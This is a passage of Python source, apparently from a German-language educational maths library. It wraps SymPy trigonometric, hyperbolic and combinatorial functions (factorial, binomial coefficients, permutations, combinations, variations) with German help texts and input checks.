Min(*zahlen)\n return wert\n\ndef re(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nRealteil einer komplexen Zahl\\n\")\n print(\"Aufruf re( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n wert = Re(number)\n return wert\n\ndef im(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nImagin\u00e4rteil einer komplexen Zahl\\n\")\n print(\"Aufruf im( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Im(number)\n return wert\n\t\ndef conjugate(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKonjugiert - komplexe Zahl\\n\")\n print(\"Aufruf conjugate( z )\")\n print(\" oder konjugirt( z )\\n\")\n print(\" z komplexe Zahl\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine komplexe Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Conjugate(number)\n return wert\n\t\nkonjugiert = conjugate\n\n\n# -------------------------------------------------\n# Trigonometrische und Umkehr-Funktionen - Bogenma\u00df\n# -------------------------------------------------\n\ndef sin(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus - Funktion\\n\")\n print(\"Aufruf sin( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Sin(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arcsin(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkussinus - Funktion\\n\")\n print(\"Aufruf arcsin( x )\")\n print(\" oder asin( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Asin(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\nasin = arcsin\n\t\ndef cos(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus - Funktion\\n\")\n print(\"Aufruf cos( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cos(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arccos(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskosinus - Funktion\\n\")\n print(\"Aufruf arccos( x )\")\n print(\" oder acos( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acos(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\t\nacos = arccos\n\t\t\ndef tan(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens - Funktion\\n\")\n print(\"Aufruf tan( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Tan(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef arctan(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkustangens - Funktion\\n\")\n print(\"Aufruf arctan( x )\")\n print(\" oder atan( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Atan(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\natan = arctan\n\t\ndef cot(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKotangens - Funktion\\n\")\n print(\"Aufruf cot( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cot(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef arccot(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskotangens - Funktion\\n\")\n print(\"Aufruf arccot( x )\")\n print(\" oder acot( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acot(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\nacot = arccot\n\t\n# ------------------------------------------------\n# Trigonometrische und Umkehr-Funktionen - Gradma\u00df\n# ------------------------------------------------\n\ndef sing(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf sing( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = sin(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef cosg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf cosg( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = cos(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef tang(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf tang( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = tan(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef cotg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKotangens f\u00fcr Gradwerte - Funktion\\n\")\n print(\"Aufruf cotg( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = 1 / tan(number * pi /180)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\n\t\ndef asing(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkussinus in Grad - Funktion\\n\")\n print(\"Aufruf arcsing( x )\")\n print(\"oder asing( x )\\n\")\n print(\" x Zahl \\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n try:\t\t\n if len(number) != 1:\n raise AglaError(\"eine Zahl angeben\") \n number = sympify(number[0])\n if not is_zahl(number):\n raise AglaError(\"eine Zahl angeben\") \n except AglaError as e:\n print('agla:', str(e))\n return\t\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\n wert = asin(number)*180/pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narcsing = asing\t\n\t\ndef acosg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskosinus in Grad - Funktion\\n\")\n print(\"Aufruf arccosg( x )\")\n print(\"oder acosg( x )\\n\")\n print(\" zahl Zahl \\n\")\n print(\"R\u00fcckgabe einer reellen Zahl bei x in [-1, 1]\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n try:\t\t\n if len(number) != 1:\n raise AglaError(\"eine Zahl angeben\") \n number = sympify(number[0])\n if not is_zahl(number):\n raise AglaError(\"eine Zahl angeben\") \n number = re(number)\n except AglaError as e:\n print('agla:', str(e))\n return\t\t\t\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = acos(number)*180/pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narccosg = acosg\n\t\ndef atang(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkustangens in Grad - Funktion\\n\")\n print(\"Aufruf arctang( x )\")\n print(\"oder atang( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = sympify(number[0])\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = nsimplify(number)\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = atan(number) * 180 / pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narctang = atang\n\ndef acotg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nArkuskotangens in Grad - Funktion\\n\")\n print(\"Aufruf arccotg( x )\")\n print(\"oder acotg( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = sympify(number[0])\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = nsimplify(number)\n try:\t\t\n number = nsimplify(number)\n except RecursionError:\n pass\t\t\n wert = acot(number) * 180 / pi\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narccotg = acotg\n\n\n# -----------------------------------\n# Hyperbolische und Umkehr-Funktionen \n# -----------------------------------\n\ndef sinh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nSinus hyperbolikus - Funktion\\n\")\n print(\"Aufruf sinh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Sinh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef cosh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nKosinus hyperbolikus - Funktion\\n\")\n print(\"Aufruf cosh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Cosh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\ndef tanh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nTangens hyperbolikus - Funktion\\n\")\n print(\"Aufruf tanh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Tanh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\ndef asinh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreasinus - Funktion\\n\")\n print(\"Aufruf asinh( x )\")\n print(\" oder arsinh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Asinh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\narsinh = asinh\n\t\ndef acosh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreakosinus - Funktion\\n\")\n print(\"Aufruf acosh( x )\")\n print(\" oder arcosh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Acosh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\t\narcosh = acosh\n\t\ndef atanh(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nAreatangens - Funktion\\n\")\n print(\"Aufruf atanh( x )\")\n print(\" oder artanh( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Atanh(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\t\n\nartanh = atanh\n\n\t\t\n\t\t\n# Test auf eine zufall-zahl\n# -------------------------\n\t\t\ndef is_zahl(x):\t\n if isinstance(x, str):\n return False\n x = sympify(x)\n try:\n if x.is_number:\n return True\n elif x.is_Function:\n return True\n except AttributeError:\n pass\n zahlen = (Integer, int, Float, float, Symbol, One, Zero, NegativeOne, Half, \n sin, cos, tan, sinh, cosh, tanh, asin, acos, atan, exp, log,\n\t\t\t Mul, Add, Pow)\n return type(x) in zahlen \n\t\nisZahl = is_zahl\t\n\n\t\t\n# ------------------------\n# Test auf freie Parameter\n# ------------------------\n\t\t\ndef mit_param(obj):\n nv = importlib.import_module('zufall.lib.objekte.normal_verteilung')\n NormalVerteilung = nv.NormalVerteilung\n if iterable(obj):\n test = [mit_param(el) for el in obj]\n return any(test)\n obj = sympify(obj)\n if is_zahl(obj):\n try:\n return bool(obj.free_symbols)\t\n except SyntaxError:\n return False\n elif isinstance(obj, NormalVerteilung):\n return mit_param(obj.mu) or mit_param(obj.sigma) \t\n\t\t\t\nmitParam = mit_param\n\t\t\t\n\t\n# --------------------------\n# Ausgabe nummerischer Werte\n# --------------------------\n\ndef wert_ausgabe(wert, d=None): # interne Funktion\n if not isinstance(d, (Integer, int)):\n d = None\n else:\n if d <= 0:\n d = None \n if not d:\t\n if mit_param(wert):\n return N(wert)\n else:\n return eval(format(float(wert)))\n else:\n if mit_param(wert):\n return N(wert, d)\n else:\n return eval(format(float(wert), \".%df\" %d ))\n \nwertAusgabe = wert_ausgabe\t \n\n\n# ---------\n# Fakultaet\n# ---------\n\t\t\ndef fakultaet(*args, **kwargs):\n \"\"\"Fakult\u00e4tsfunktion\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nfakult\u00e4t - Fakult\u00e4tsfunktion\\n\")\t\n print(\"Kurzform fak\\n\")\t\t\n print(\"Aufruf fak( n )\\n\")\t\n print(\" n ganze Zahl >= 0\\n\")\n return\t\n\n if len(args) != 1:\n print('zufall: ein Argument angeben')\n return\n n = args[0]\n if mit_param(n):\n return\t factorial(n)\t\n if not (isinstance(n, (int, Integer)) and n >= 0):\t\n print ('zufall: ganze nichtnegative Zahl angeben')\n return\t\t\n return factorial(n)\n\nfak = fakultaet\n\n\n# -------------------\n# Binomialkoeffizient\n# -------------------\n\t\t\ndef binomial(*args, **kwargs):\n \"\"\"Binomialkoeffizient\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nbinomial - Binomialkoeffizient\\n\")\t\n print(\"Kurzform B\\n\")\t\t\n print(\"Aufruf B( n, k )\\n\")\t\n print(\" n, k ganze Zahl >= 0\\n\")\n print(\"Achtung - der Bezeichner B kann \u00fcberschrieben werden\\n\")\n return\t\n if len(args) != 2:\n print('zufall: zwei Argumente angeben')\n return\n n, k = args\n if mit_param(n):\n if mit_param(k):\n return Binomial(n, k)\n else:\n if isinstance(k, (int, Integer)) and k >= 0:\n return Binomial(n, k)\n print('zufall: positive ganze Zahlen angeben')\n return\t\t\t\t \n else:\n if isinstance(n, (int, Integer)) and n >= 0:\n return Binomial(n, k)\n print('zufall: positive ganze Zahlen angeben')\n return\t\t\t\t \n \t\t\t\nB = binomial\n\n\n# -------------\n# Permutationen\n# -------------\n\t\t\ndef permutationen(*args, **kwargs):\n \"\"\"Permutationen einer Menge von Elementen\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nPermutationen der Elemente einer Menge\\n\")\t\n print(\"Kurzform perm\\n\")\t\t\n print(\"Aufruf perm( menge | n )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary \")\n print(\" Elemente sind Zahlen, Symbole, Zeichenketten\")\n print(\" ein dictionary enth\u00e4lt (element:anzahl)-Paare\")\n print(\" n bei Angabe einer ganzen Zahl >0 wird die Menge\")\n print(\" {1, 2,...,n} verwendet\\n\")\t\n print(\"Zusatz k=ja Ausgabe der Permutationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Permutationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\\n\")\n print(\"Beispiele\")\n print(\"perm( [a, b, c, d], k=ja)\")\t\t\n print(\"perm( { 0:3, 1:2 }, l=ja)\")\t\t\n print(\"perm( 5)\\n\")\t\t\n return\t\n\n if kwargs.get('f'):\n i = Symbol('i')\n print(' ')\t\t\n display(Math('Anzahl\\; der\\; Permutationen\\; ohne\\; Wiederholungen = n!'))\t\n display(Math('Anzahl\\; der\\; Permutationen\\; mit\\; Wiederholungen = \\\\frac{n!}{n_1!\\: n_2!\\: ... \\:n_p!}'))\t\n display(Math('n - Anzahl\\; der\\; Elemente \\; der\\; Grundgesamtheit'))\t\n display(Math('n_i - Anzahl\\; des\\; Auftretens \\; des\\;' + latex(i) + \\\n '.\\; Elementes\\; in\\; der\\; Grundgesamtheit, \\\\quad \\\\sum\\limits_{i=1}^{p}n_i = n'))\t\n print(' ')\t\t\t\t \n return\n\t\t\n if len(args) != 1:\n print('zufall: ein Argument angeben')\n return\n menge = args[0]\t\t\t\n if not menge:\n return []\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen ganze Zahlen, Symbole oder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n menge = list(menge)\n menge.sort(key=str)\n di = {menge[0]:1}\t\n wiederh = False\t\t\n for it in menge[1:]:\n try:\n di[it] += 1\n wiederh = True\t\t\t\t\n except KeyError:\n di[it] = 1\n kwl = kwargs.get('l')\n kwk = kwargs.get('k')\n if not(kwl or kwk):\n if not wiederh:\n return factorial(len(menge)) \n else:\n N = factorial(len(menge))\n for it in di:\n N = N / factorial(di[it])\n return nsimplify(N)\n if not wiederh:\n pp = list(permutations(menge))\n else:\n def pmw(iterable): \n L = [iterable[0]]\n for i, it in enumerate(iterable):\n if i == 0 or it not in L:\n L += [it]\n yield it\n pp = list(pmw(list(permutations(menge))))\n\t\t\n if kwl:\n return pp\n elif kwk:\n return [kurz_form(x) for x in pp]\n \t\nperm = permutationen\n\t\t\n\n\n# -------------\n# Kombinationen\n# -------------\n\t\t\ndef kombinationen(*args, **kwargs):\n \"\"\"k-Kombinationen aus einer Menge von Elementen\"\"\"\n\t\n if kwargs.get('h'):\n print(\"\\nKombinationen - k-Kombinationen aus einer Menge von n Objekten\\n\")\t\n print(\"Kurzform komb\\n\")\t\t\n print(\"Aufruf komb( menge, k, wiederh, anordn )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary |\")\n print(\" ganze positive Zahl\") \t\t\n print(\" Listenelemente sind Zahlen, Symbole, strings,\")\n print(\" aber keine Listen\")\n print(\" ein dictionary enth\u00e4lt (Objekt:Anzahl)-Paare\")\n print(\" bei Angabe einer Zahl n wird die Menge\")\n print(\" {1,2,...,n} verwendet\")\t\n print(\" k Anzahl Elemente einer Kombination\")\n print(\" wiederh Wiederholungen von Elementen in einer Kombina-\") \n print(\" tion m\u00f6glich (ja/nein)\")\n print(\" anordn Beachtung der Anordnung/Reihenfolge der Elemen- \")\n print(\" te in einer Kombination (ja/nein)\\n\")\n print(\"Zusatz k=ja Ausgabe der Kombinationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Kombinationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\")\n print(\" b=ja Begriffe\\n\")\n print(\"Beispiele\")\n print(\"komb( [a, b, c, d], 2, ja, nein)\")\t\t\n print(\"komb( { 0:3, 1:2 }, 4, ja, ja, k=ja)\")\t\t\n print(\"komb( 5, 2, nein, nein)\\n\")\t\t\n return\t\n\n if kwargs.get('b'):\n print(\"\\nMitunter werden Kombinationen mit Ber\u00fccksichtigung der Anordnung Varia-\")\n print(\"tionen genannt, die ohne Ber\u00fccksichtigung der Anordnung hei\u00dfen dann Kom-\")\n print(\"binationen\\n\")\n return\t\t\n\n try:\n if len(args) != 4:\n raise ZufallError('vier Argumente angeben')\n menge, k, wiederh, anordn = args\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen Zahlen, Symbole eoder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n if not isinstance(k, (int, Integer)) and k > 0:\t\n raise ZufallError('f\u00fcr Anzahl Elemente ganze Zahl > 0 angeben')\n if not isinstance(wiederh, bool):\t\n raise ZufallError('Zulassen Wiederholungen mit ja/mit oder nein/ohne angeben')\n if not isinstance(anordn, bool):\t\n raise ZufallError('Beachten der Anordnung mit ja/mit oder nein/ohne angeben')\t\t\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\t\t\t\n if kwargs.get('f'):\n print(' ')\t\n if wiederh and anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; mit\\; Wiederholungen, \\; mit\\; Anordnung = n^k'))\t\n elif wiederh and not anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; mit\\; Wiederholungen, \\; ohne\\; Anordnung'))\n display(Math('\\\\qquad {n+k-1 \\\\choose k} = \\\\frac{(k+n-1)!}{k!\\,(n-1)!}'))\t\n elif not wiederh and anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; ohne\\; Wiederholungen, \\; mit\\; Anordnung = ' + \\\n '\\\\frac{n!}{(n-k)! }'))\t\n elif not wiederh and not anordn:\n display(Math('Anzahl\\; der\\; Kombinationen\\; ohne\\; Wiederholungen, \\; ohne\\; Anordnung'))\n display(Math('\\\\qquad {n \\\\choose k} = \\\\frac{n!}{k!\\,(n-k)! }'))\t\n display(Math('n - Anzahl\\; der\\; Elemente \\; der\\; Grundgesamtheit'))\t\n display(Math('k - Anzahl\\; der\\; ausgew\u00e4hlten \\; Elemente'))\t\n print(' ')\t\t\n return\n\t\t\n if not menge:\n return []\t\t\n \t\n menge = list(menge)\t\n menge.sort(key=str)\t\n if not anordn and not wiederh:\n kk = list(combinations(menge, k))\n elif not anordn and wiederh:\n kk = list(combinations_with_replacement(menge, k))\n elif anordn and not wiederh:\n kk = list(permutations(menge, k))\t\n elif anordn and wiederh:\n kk = list(product(menge, repeat=k))\t\n\t\n kwl = kwargs.get('l')\n kwk = kwargs.get('k')\n n = len(menge)\t\n if not(kwl or kwk):\n if wiederh and anordn:\n return n**k \n elif wiederh and not anordn:\n N = factorial(k+n-1) / (factorial(k) * factorial(n-1))\n return nsimplify(N)\n elif not wiederh and anordn:\n N = factorial(n) / factorial(n-k) \n return nsimplify(N)\t\t\n elif not wiederh and not anordn:\n N = factorial(n) / (factorial(k) * factorial(n-k)) \n return nsimplify(N)\t\t\n if kwl:\n return kk\n elif kwk:\n return [kurz_form(x) for x in kk]\n\nkomb = kombinationen\t\n\n\n\n# -----------\n# Variationen\n# -----------\n\t\t\ndef variationen(*args, **kwargs):\n \"\"\"k-Variationen aus einer Menge von Elementen\"\"\"\n \n if kwargs.get('h'):\n print(\"\\nVariationen - k-Variationen aus einer Menge von n Objekten\\n\")\t\n print(\"Aufruf variationen( menge, k, wiederh )\\n\")\t\t \n print(\" menge Liste/Tupel/Menge von Elementen | dictionary |\")\n print(\" ganze positive Zahl\") \t\t\n print(\" Listenelemente sind Zahlen, Symbole, strings,\") \n print(\" aber keine Listen\")\n print(\" ein dictionary enth\u00e4lt (Objekt:Anzahl)-Paare\")\n print(\" bei Angabe einer Zahl n wird die Menge\") \n print(\" {1,2,...,n} verwendet\")\t\n print(\" k Anzahl Elemente einer Variation\")\n print(\" wiederh Wiederholungen von Elementen in einer Variation\") \n print(\" m\u00f6glich (ja/nein)\\n\")\n print(\"Zusatz k=ja Ausgabe der Variationen in Kurzform\")\t\t\t\n print(\" l=ja Ausgabe der Variationen in Listenform\")\t\t\t\n print(\" f=ja Formeln\")\n print(\" b=ja Begriffe\\n\")\n print(\"Beispiele\")\n print(\"variationen( [a, b, c, d], 2, ja)\")\t\t\n print(\"variationen( { 0:3, 1:2 }, 4, ja, k=ja)\")\t\t\n print(\"variationen( 5, 2, nein)\\n\")\t\t\n return\t\n\n if kwargs.get('b'):\n print(\"\\nVariationen sind Kombinationen mit Ber\u00fccksichtigung der Anordnung/Reihenfolge\")\n print(\"der Elemente; wird der Begriff verwendet, hei\u00dfen Kombinationen nur diejenigen \")\n print(\"ohne Ber\u00fccksichtigung der Anordnung\\n\")\n return\t\t\n\n try:\n if len(args) != 3:\n raise ZufallError('drei Argumente angeben')\n menge, k, wiederh = args\t\t\n if not isinstance(menge, (list, tuple, set, dict, int, Integer)):\t\n raise ZufallError('Liste/Tupel/Menge von Elementen oder ganze positive Zahl angeben')\n if isinstance(menge, (list, tuple, set)) and not all(map(lambda x: isinstance(x, \\\n (int, Integer, Symbol, str)), menge)):\n raise ZufallError(\"Listenelemente k\u00f6nnen Zahlen, Symbole eoder Zeichenketten sein\")\t\t\t\n if isinstance(menge, dict):\n if not all(map(lambda x: isinstance(x, (int, Integer)) and x > 0, menge.values())):\n raise ZufallError(\"im dictionary als Werte Anzahlen angeben\")\n m = []\t\n for it in menge:\n m += [it for i in range(menge[it])]\n menge = m\t\t\t\t\n if isinstance(menge, (int, Integer)):\n if menge <= 0:\t\n raise ZufallError('ganze positive Zahl angeben')\n else:\n menge = range(1, menge+1)\t\n if not isinstance(k, (int, Integer)) and k > 0:\t\n raise ZufallError('f\u00fcr Anzahl Elemente ganze Zahl > 0 angeben')\n if not isinstance(wiederh, bool):\t\n raise ZufallError('Zulassen Wiederholungen mit ja/mit oder nein/ohne angeben')\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\t\t\t\n return kombinationen(menge, k, wiederh, True, **kwargs)\t\t\t\n\n\n\t\n# -------------\n# Zufallszahlen\n# -------------\n\t\t\ndef zuf_zahl(*args, **kwargs):\n \"\"\"Erzeuung von Zufallszahlen\"\"\"\n \n if kwargs.get('h'):\n print(\"\\nzuf_zahl - 